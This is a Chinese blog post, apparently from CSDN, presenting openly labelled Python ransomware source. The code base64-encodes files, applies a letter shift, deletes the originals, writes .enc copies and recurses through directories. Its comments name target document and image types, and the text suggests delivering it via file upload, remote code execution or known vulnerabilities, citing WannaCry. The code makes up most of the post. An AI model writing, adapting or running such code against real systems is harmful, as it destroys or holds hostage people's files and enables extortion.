Python实现简单的勒索病毒

python实现勒索病毒

勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可)
问题:怎么在目标主机运行勒索病毒?
首先可以理由文件上传、远程代码执行、一些已知的漏洞等
例如著名的wannacry勒索病毒基于Windows系统永恒之蓝的漏洞

# 对一个文件进行勒索,怎么对文件夹进行勒索? --> os模块下的遍历目录 listdir
# 联系:对某些目录下关键文件:word xls docx ppt pptx rar jpg png txt
import base64,os

def encrypt(filepath):
    with open(filepath,mode='rb') as file:
        data = file.read()
    source = base64.b64encode(data).decode()
    # 对字符串加密 ascii码右移5位
    result=''
    for i in source:
        if ord(i) in range(97,123) or ord(i) in range(65,91):
            result+=chr(ord(i)+5)
        else:
            result+=i
    os.remove(filepath)
    with open(filepath+'.enc',mode='w') as file:
        file.write(result)

def decrypt(filepath):
    with open(filepath,mode='r') as file:
        data = file.read()
    result=''
    for i in data:
        if ord(i) in range(102, 128) or ord(i) in range(70, 96):
            result += chr(ord(i) - 5)
        else:
            result += i

    result = base64.b64decode(result)
    os.remove(filepath)
    with open(filepath.replace('.enc',''),mode='wb') as file:
        file.write(result)


def dir_crypt(dirpath,type='encode'):
    dirs = os.listdir(dirpath)
    for filename in dirs:
        filename = os.path.join(dirpath, filename)
        if os.path.isdir(filename):
            dir_crypt(filename,type)
        else:
            if type=='encode':
                encrypt(filename)
            elif type=='decode':
                decrypt(filename)
            else:
                raise Exception("type error")
if __name__ == '__main__':
    # encrypt('./test.png')
    # decrypt('./test.png.enc')
    # dir_crypt('.\\name')
    dir_crypt('.\\name',type='decode')
  • 2
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值